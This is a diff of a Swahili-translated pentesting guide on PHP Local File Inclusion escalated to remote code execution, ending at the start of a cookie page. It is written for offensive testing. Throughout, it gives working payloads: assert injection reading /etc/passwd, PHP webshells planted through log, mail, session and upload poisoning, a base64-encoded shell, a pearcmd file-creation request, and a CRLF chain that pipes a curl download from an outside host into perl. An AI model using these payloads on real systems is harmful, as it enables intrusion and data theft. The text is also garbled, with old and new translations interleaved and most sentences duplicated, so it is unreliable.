- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mito ya sauti (Siyo muhimu kusoma faili zisizo na mpangilio)
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
## LFI kupitia 'assert' ya PHP
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
— Andika kwenye memory au kwenye faili ya muda (sijui jinsi hili linaweza kuwa muhimu katika file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
— Kupata local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
— Kupata HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
— Kupata FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
— Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
— Inatafuta pathnames zinazolingana na pattern (haiwezi kurudisha kitu kinachoweza kuchapishwa, kwa hivyo sio muhimu sana hapa)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
— Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
— Audio streams (Sio ya msaada kusoma arbitrary files)
Hatari za Local File Inclusion (LFI) katika PHP ni za juu sana wakati wa kushughulikia kazi ya 'assert', ambayo inaweza kutekeleza code ndani ya nyuzi. Hii ni tatizo hasa ikiwa ingizo linalojumuisha wahusika wa kupita kwenye saraka kama ".." linakaguliwa lakini halijasafishwa ipasavyo.
## LFI via PHP's 'assert'
Kwa mfano, code ya PHP inaweza kuundwa kuzuia kupita kwenye saraka kama ifuatavyo:
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
Local File Inclusion (LFI) hatari katika PHP ni kubwa hasa wakati wa kushughulika na function ya 'assert', ambayo inaweza kutekeleza code iliyomo ndani ya strings. Hii ni tatizo hasa ikiwa input inayojumuisha wahusika wa directory traversal kama ".." inakaguliwa lakini haijasafishwa ipasavyo.
For example, PHP code might be designed to prevent directory traversal like so:
Kwa mfano, code ya PHP inaweza kubuniwa kuzuia directory traversal kama ifuatavyo:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Wakati hii inakusudia kuzuia traversal, inasababisha kwa bahati mbaya kuunda njia ya kuingiza msimbo. Ili kutumia hii kusoma maudhui ya faili, mshambuliaji anaweza kutumia:
Ingawa hili linalenga kuzuia traversal, bila kutarajia linaunda njia ya code injection. Ili kutekeleza exploit hii kwa kusoma yaliyomo ya faili, mdukuzi anaweza kutumia:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Vivyo hivyo, kwa kutekeleza amri za mfumo zisizo na mpangilio, mtu anaweza kutumia:
Vivyo hivyo, kwa kutekeleza amri zozote za mfumo, mtu anaweza kutumia:
```plaintext
' and die(system("id")) or '
```
Ni muhimu **URL-encode hizi payloads**.
Ni muhimu **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Mbinu hii inahusiana na hali ambapo unadhibiti **file path** ya **PHP function** ambayo itafanya **access a file** lakini huwezi kuona maudhui ya faili (kama wito rahisi kwa **`file()`**) lakini maudhui hayakuonyeshwa.
> Mbinu hii inahusiana na kesi ambapo wewe **control** njia ya **file path** ya **PHP function** ambayo itafanya **access a file** lakini hautaona yaliyomo ya faili (kama mwito rahisi kwa **`file()`**) na yaliyomo hayajaonyeshwa.
Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi traversal ya njia ya kipofu inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya kosa**.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) imeelezwa jinsi blind path traversal inaweza kutumika kupitia PHP filter kuweza **exfiltrate the content of a file via an error oracle**.
Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** kiasi kwamba **PHP function inayofungua** faili itasababisha **kosa**.
Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya yaliyomo ya faili kuwa **kubwa** kiasi kwamba **PHP function opening** faili itasababisha **error**.
Kisha, ili kuvuja herufi ya kwanza, filter **`dechunk`** inatumika pamoja na nyingine kama **base64** au **rot13** na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** zinatumika ili **kweka herufi nyingine mwanzoni na kuvuja hizo**.
Kisha, ili ku-leak char ya kwanza filter **`dechunk`** inatumiwa pamoja na nyingine kama **base64** au **rot13** na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** zinatumika ili **place other chars at the beggining and leak them**.
**Functions ambazo zinaweza kuwa na udhaifu**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (tu lengo kusoma tu na hii)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Functions that might be vulnerable: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Kwa maelezo ya kiufundi angalia kipande kilichotajwa!
Kwa maelezo ya kiufundi angalia makala iliyotajwa!
## LFI2RCE
### Kuandika Faili ya Kichaguliwa kupitia Path Traversal (Webshell RCE)
### Arbitrary File Write via Path Traversal (Webshell RCE)
Wakati msimbo wa upande wa seva unaopokea/kuweka faili unajenga njia ya marudio kwa kutumia data inayodhibitiwa na mtumiaji (k.m., jina la faili au URL) bila kuifanya kuwa ya kawaida na kuithibitisha, sehemu za `..` na njia za moja kwa moja zinaweza kutoroka kutoka kwenye directory iliyokusudiwa na kusababisha kuandika faili ya kiholela. Ikiwa unaweza kuweka payload chini ya directory inayoweza kuonekana kwenye wavuti, kwa kawaida unapata RCE isiyo na uthibitisho kwa kuacha webshell.
Wakati server-side code inayopokea/uploads faili inajenga destination path kwa kutumia data inayodhibitiwa na mtumiaji (mfano, filename au URL) bila canonicalising na validating, segments za `..` na absolute paths zinaweza kutoroka directory lililokusudiwa na kusababisha arbitrary file write. Ikiwa unaweza kuweka payload chini ya directory inayoweza kuonekana kwenye web, kawaida unapata unauthenticated RCE kwa ku-drop webshell.
Mchakato wa kawaida wa unyakuzi:
- Tambua primitive ya kuandika katika mwisho au mfanyakazi wa nyuma ambao unakubali njia/jina la faili na kuandika maudhui kwenye diski (k.m., upokeaji unaoendeshwa na ujumbe, waandishi wa amri za XML/JSON, extractor za ZIP, n.k.).
- Tambua directories zinazoweza kuonekana kwenye wavuti. Mifano ya kawaida:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → acha `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → acha `shell.aspx`
- Tengeneza njia ya traversal inayovunja kutoka kwenye directory ya uhifadhi iliyokusudiwa hadi kwenye webroot, na jumuisha maudhui ya webshell yako.
- Tembelea payload iliyotolewa na kutekeleza amri.
Typical exploitation workflow:
- Tambua write primitive kwenye endpoint au background worker inayokubali path/filename na kuandika yaliyomo kwenye disk (mf. message-driven ingestion, XML/JSON command handlers, ZIP extractors, n.k.).
- Baini web-exposed directories. Mifano ya kawaida:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Tengeneza traversal path itakayochonga kutoka storage directory iliyokusudiwa hadi webroot, ukijumuisha webshell yako.
- Tembelea payload iliyowekwa na utekeleze amri.
Maelezo:
- Huduma yenye udhaifu inayofanya kuandika inaweza kusikiliza kwenye bandari isiyo ya HTTP (k.m., msikilizaji wa JMF XML kwenye TCP 4004). Portal kuu ya wavuti (bandari tofauti) itahudumia payload yako baadaye.
- Katika stack za Java, hizi kuandika faili mara nyingi zinafanywa kwa kuunganisha rahisi `File`/`Paths`. Ukosefu wa kuifanya kuwa ya kawaida/kuorodhesha ni kasoro kuu.
Vidokezo:
- Service iliyo vunulika inayofanya write inaweza kusikiliza kwenye port isiyo-HTTP (mf. JMF XML listener kwenye TCP 4004). Portal kuu ya web (port tofauti) baadaye itahudumia payload yako.
- Katika Java stacks, file writes hizi mara nyingi zimetekelezwa kwa concatenation rahisi ya `File`/`Paths`. Ukosefu wa canonicalisation/allow-listing ndilo doa kuu.
Mfano wa kawaida wa XML/JMF (mifano ya bidhaa inatofautiana – DOCTYPE/body wrapper si muhimu kwa traversal):
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -466,26 +488,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Hardening that defeats this class of bugs:
- Resolve to a canonical path and enforce it is a descendant of an allow-listed base directory.
- Reject any path containing `..`, absolute roots, or drive letters; prefer generated filenames.
- Run the writer as a low-privileged account and segregate write directories from served roots.
Uimarishaji unaowazuia aina hii ya mdudu:
- Thibitisha njia kuwa canonical na idhibitishe kuwa ni tanzu ya directory ya msingi iliyoorodheshwa.
- Kataa njia yoyote yenye `..`, absolute roots, au drive letters; pendelea majina ya faili yaliyotengenezwa.
- Endesha writer kama akaunti yenye ruhusa ndogo na gawanya directory za kuandika kutoka kwa served roots.
## Remote File Inclusion
Imeshasishwa hapo awali, [**fuata kiungo hiki**](#remote-file-inclusion).
Imeelezewa hapo awali, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Ikiwa seva ya Apache au Nginx ni **vulnerable to LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **`<?php system($_GET['c']); ?>`** na ujumuishe hiyo faili
Ikiwa server ya Apache au Nginx iko **nyeti kwa LFI** ndani ya include function unaweza kujaribu kufikia **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** php shell kama **`<?php system($_GET['c']); ?>`** na kuingiza faili hiyo
> [!WARNING]
> Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa ajili ya shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa string "_**quote;**_", **PHP itatupa kosa** hapo na **hakuna kingine kitakachotekelezwa**.
> Tambua kwamba **ikiwa utatumia double quotes** kwa shell badala ya **simple quotes**, double quotes zitasahihishwa kwa ajili ya string "_**quote;**_", **PHP itatoa error** hapo na **hakuna kitu kingine kitatekelezwa**.
>
> Pia, hakikisha unafanya **kuandika payload kwa usahihi** au PHP itakosa kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili.
> Pia, hakikisha unaandika **payload** kwa usahihi au PHP itatoa error kila mara itakapo jaribu kupakia faili ya log na hautakuwa na fursa ya pili.
Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa URL encoded na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinachambuliwa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
Njia nyingine zinazowezekana za log:
Hii pia inaweza kufanywa katika logs nyingine lakini **kuwa mwangalifu,** code ndani ya logs inaweza kuwa URL encoded na hii inaweza kuharibu Shell. Header **authorisation "basic"** ina "user:password" kwa Base64 na inakwekwa ndani ya logs. PHPShell inaweza kuingizwa ndani ya header hii.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -499,129 +521,129 @@ Njia nyingine zinazowezekana za log:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Kupitia Barua Pepe
### Kupitia Barua pepe
**Tuma barua pepe** kwa akaunti ya ndani (user@localhost) yenye payload yako ya PHP kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kuingiza kwenye barua pepe ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
**Tuma barua** kwa akaunti ya ndani (user@localhost) yenye PHP payload yako kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kujumuisha barua ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
### Kupitia /proc/\*/fd/\*
### Kupitia /proc/*/fd/*
1. Pakia shells nyingi (kwa mfano: 100)
2. Jumuisha [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), ambapo $PID = PID ya mchakato (inaweza kulazimishwa) na $FD ni file descriptor (inaweza kulazimishwa pia)
2. Jumuisha [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), ambapo $PID = PID ya mchakato (inaweza kupatikana kwa brute force) na $FD file descriptor (inaweza kupatikana kwa brute force pia)
### Kupitia /proc/self/environ
Kama faili ya kumbukumbu, tuma payload katika User-Agent, itajitokeza ndani ya faili ya /proc/self/environ
Kama faili ya log, tuma payload kwenye User-Agent; itaonekana ndani ya /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### Kupitia upload
Ikiwa unaweza kupakia faili, ingiza tu payload ya shell ndani yake (e.g : `<?php system($_GET['c']); ?>`).
Ikiwa unaweza upload faili, just inject shell payload ndani yake (e.g : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Ili kuweka faili kuwa na uwezo wa kusomeka ni bora kuingiza katika metadata ya picha/doc/pdf
Ili kudumisha faili iwe rahisi kusoma, ni bora kuingiza katika metadata ya picha/doc/pdf
### Kupitia Upakuaji wa Faili ya Zip
### Kupitia upakiaji wa Zip file
Pakua faili ya ZIP inayojumuisha shell ya PHP iliyoshinikizwa na ufikia:
Upakia faili la ZIP lenye PHP shell iliyobanwa (compressed) kisha ufikie:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
### Kupitia PHP sessions
Angalia kama tovuti inatumia PHP Session (PHPSESSID)
Angalia ikiwa tovuti inatumia PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Katika PHP, vikao hivi vinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_ faili
Katika PHP sessions hizi zinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_ mafaili
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
Weka cookie kuwa `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Tumia LFI kujumuisha faili la kikao la PHP
Tumia LFI kujumuisha faili ya session ya PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
### Kupitia ssh
Ikiwa ssh inafanya kazi angalia ni mtumiaji gani anatumika (/proc/self/status & /etc/passwd) na jaribu kufikia **\<HOME>/.ssh/id_rsa**
Ikiwa ssh inafanya kazi, angalia ni mtumiaji gani anatumika (/proc/self/status & /etc/passwd) na jaribu kufikia **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
### **Kupitia** **vsftpd** _**logs**_
Marekebisho ya seva ya FTP vsftpd yako katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unaruhusiwa, hatua zifuatazo zinaweza kuzingatiwa:
The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. Katika tukio ambapo kuna udhaifu wa Local File Inclusion (LFI), na uwezekano wa kufikia server ya vsftpd iliyo wazi, hatua zifuatazo zinaweza kuzingatiwa:
1. Ingiza payload ya PHP katika uwanja wa jina la mtumiaji wakati wa mchakato wa kuingia.
2. Baada ya kuingiza, tumia LFI kupata marekebisho ya seva kutoka _**/var/log/vsftpd.log**_.
1. Ingiza PHP payload kwenye username field wakati wa mchakato wa login.
2. Baada ya injection, tumia LFI kupata logs za server kutoka _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
### Kupitia php base64 filter (using base64)
Kama ilivyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, PHP base64 filter inapuuzilia mbali Non-base64. Unaweza kutumia hiyo kupita ukaguzi wa kiendelezi cha faili: ikiwa unatoa base64 inayomalizika na ".php", itapuuzilia mbali "." na kuunganisha "php" kwenye base64. Hapa kuna mfano wa payload:
Kama ilivyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Unaweza kutumia hilo kupita ukaguzi wa file extension: ikiwa utatoa base64 inayomalizika na ".php", itapuuza tu "." na kuongeza "php" kwenye base64. Hapa kuna mfano wa payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
### Kupitia php filters (hakuna faili inahitajika)
Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **php filters kuunda maudhui yasiyo na mipaka** kama matokeo. Hii kwa msingi inamaanisha kwamba unaweza **kuunda msimbo wa php yasiyo na mipaka** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
### Kupitia segmentation fault
**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio moja,** trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
### Kupitia Nginx temp file storage
Ikiwa umepata **Local File Inclusion** na **Nginx** inafanya kazi mbele ya PHP unaweza kuwa na uwezo wa kupata RCE kwa kutumia mbinu ifuatayo:
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
### Kupitia PHP_SESSION_UPLOAD_PROGRESS
Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` iko `Off`. Ikiwa utaweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **session iweze kwako**. Unaweza kutumia hii vibaya kupata RCE:
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
### Kupitia temp file uploads in Windows
Ikiwa umepata **Local File Inclusion** na server inafanya kazi katika **Windows** unaweza kupata RCE:
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
### Kupitia `pearcmd.php` + URL args
Kama [**ilivyoelezwa katika chapisho hili**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripti `/usr/local/lib/phppearcmd.php` inapatikana kwa default katika picha za docker za php. Zaidi ya hayo, inawezekana kupitisha hoja kwa skripti kupitia URL kwa sababu inabainishwa kwamba ikiwa param ya URL haina `=`, inapaswa kutumika kama hoja.
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Ombi lifuatalo linaunda faili katika `/tmp/hello.php` yenye maudhui `<?=phpinfo()?>`:
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Inatumia udhaifu wa CRLF kupata RCE (kutoka [**hapa**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Ifuatayo inatumia vuln ya CRLF kupata RCE (kutoka [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +652,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Kupitia phpinfo() (file_uploads = on)
Ikiwa umepata **Local File Inclusion** na faili inayonyesha **phpinfo()** ikiwa file_uploads = on unaweza kupata RCE:
Ikiwa umepata **Local File Inclusion** na faili inayoonyesha **phpinfo()** ambapo file_uploads = on unaweza kupata RCE:
{{#ref}}
@ -639,37 +661,40 @@ lfi2rce-via-phpinfo.md
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuepuka ukaguzi huo** kwa kutumia **Race Condition**:
Ikiwa umepata **Local File Inclusion** na unaweza **exfiltrate the path** ya temp file LAKINI **server** inakagua kama **file to be included has PHP marks**, unaweza kujaribu **bypass that check** kwa kutumia **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Kupitia kusubiri milele + bruteforce
### Kupitia eternal waiting + bruteforce
Ikiwa unaweza kutumia LFI **kupakia faili za muda** na kufanya server **isimame** utekelezaji wa PHP, unaweza kisha **kufanya brute force majina ya faili kwa masaa** ili kupata faili ya muda:
Ikiwa unaweza kutumia LFI ku**upload temporary files** na kufanya **server** iangushe utekelezaji wa PHP, basi unaweza kisha **brute force filenames during hours** ili kupata temporary file:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Kwa Kosa la Kifo
### Kwa Fatal Error
Ikiwa unajumuisha yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kutupa kosa hilo).
Ikiwa ujumuisha yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kusababisha hitilafu hiyo).
**Sijui hii ni ya manufaa vipi lakini inaweza kuwa.**\
_Hata kama unasababisha Kosa la Kifo la PHP, faili za muda za PHP zilizopakiwa zinafuta._
**Sijui jinsi hii inavyoweza kuwa muhimu lakini inaweza kuwa.**\
_Hata ukisababisha PHP Fatal Error, PHP temporary files zilizopakiwa zinafutwa._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Marejeleo
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai – Kutoka Tiketi ya Msaada hadi Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

230
src/pentesting-web/hacking-with-cookies/README.md
View File

@ -4,117 +4,124 @@
## Cookie Attributes
Cookies zina sifa kadhaa ambazo zinadhibiti tabia yao katika kivinjari cha mtumiaji. Hapa kuna muhtasari wa sifa hizi kwa sauti ya chini:
Cookies zina vigezo kadhaa vinavyodhibiti tabia yao katika kivinjari cha mtumiaji. Hapa kuna muhtasari wa vigezo hivi kwa njia isiyo ya moja kwa moja:
### Expires and Max-Age
Tarehe ya kumalizika kwa cookie inamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaelezea muda kwa sekunde hadi cookie itakapofutwa. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.**
Tarehe ya kumalizika ya cookie inaamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaainisha muda kwa sekunde mpaka cookie ifutwe. **Chagua `Max-age` kwani inaonyesha mbinu za kisasa zaidi.**
### Domain
Wenyeji wa kupokea cookie huainishwa na sifa ya `Domain`. Kwa kawaida, hii imewekwa kwa mwenyeji aliyeitoa cookie, bila kujumuisha subdomains zake. Hata hivyo, wakati sifa ya `Domain` imewekwa wazi, inajumuisha subdomains pia. Hii inafanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lenye ukomo mdogo, muhimu kwa hali ambapo kushiriki cookie kati ya subdomains kunahitajika. Kwa mfano, kuweka `Domain=mozilla.org` kunafanya cookies zipatikane kwenye subdomains zake kama `developer.mozilla.org`.
Wajahishaji (hosts) watakaopewa cookie wanaainishwa na sifa ya `Domain`. Kwa chaguo-msingi, hii imewekwa kwa host iliyotuma cookie, bila kuhusisha subdomains zake. Hata hivyo, wakati sifa ya `Domain` imewekwa wazi, inajumuisha pia subdomains. Hii inafanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lisilo na vikwazo vingi, linalofaa kwa hali ambapo kushiriki cookies kati ya subdomains ni muhimu. Kwa mfano, kuweka `Domain=mozilla.org` kunafanya cookies zipatikane kwenye subdomains kama `developer.mozilla.org`.
### Path
Njia maalum ya URL ambayo lazima iwepo katika URL iliyohitajika ili kichwa cha `Cookie` kitumwe inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia herufi `/` kama separator ya directory, ikiruhusu mechi katika subdirectories pia.
Sifa ya `Path` inaonyesha njia maalum ya URL ambayo lazima iwepo kwenye URL iliyombwa ili header ya `Cookie` itumewe. Sifa hii inachukulia tabia ya `/` kama kitenganishi cha saraka, ikiruhusu ulinganifu katika saraka ndogo pia.
### Ordering Rules
Wakati cookies mbili zina jina sawa, ile inayochaguliwa kutumwa inategemea:
Wakati cookies mbili zina jina lile zenyewe, ile itakayochaguliwa kutumwa inategemea:
- Cookie inayolingana na njia ndefu zaidi katika URL iliyohitajika.
- Cookie iliyowekwa hivi karibuni ikiwa njia hizo ni sawa.
- Cookie inayolingana na path refu zaidi katika URL iliyombwa.
- Cookie iliyoanzishwa hivi karibuni zaidi ikiwa paths ni sawa.
### SameSite
- Sifa ya `SameSite` inaelekeza ikiwa cookies zitatumwa kwenye maombi yanayotokana na maeneo ya upande wa tatu. Inatoa mipangilio mitatu:
- **Strict**: Inazuia cookie kutumwa kwenye maombi ya upande wa tatu.
- **Lax**: Inaruhusu cookie kutumwa na maombi ya GET yanayoanzishwa na tovuti za upande wa tatu.
- **None**: Inaruhusu cookie kutumwa kutoka kwa eneo lolote la upande wa tatu.
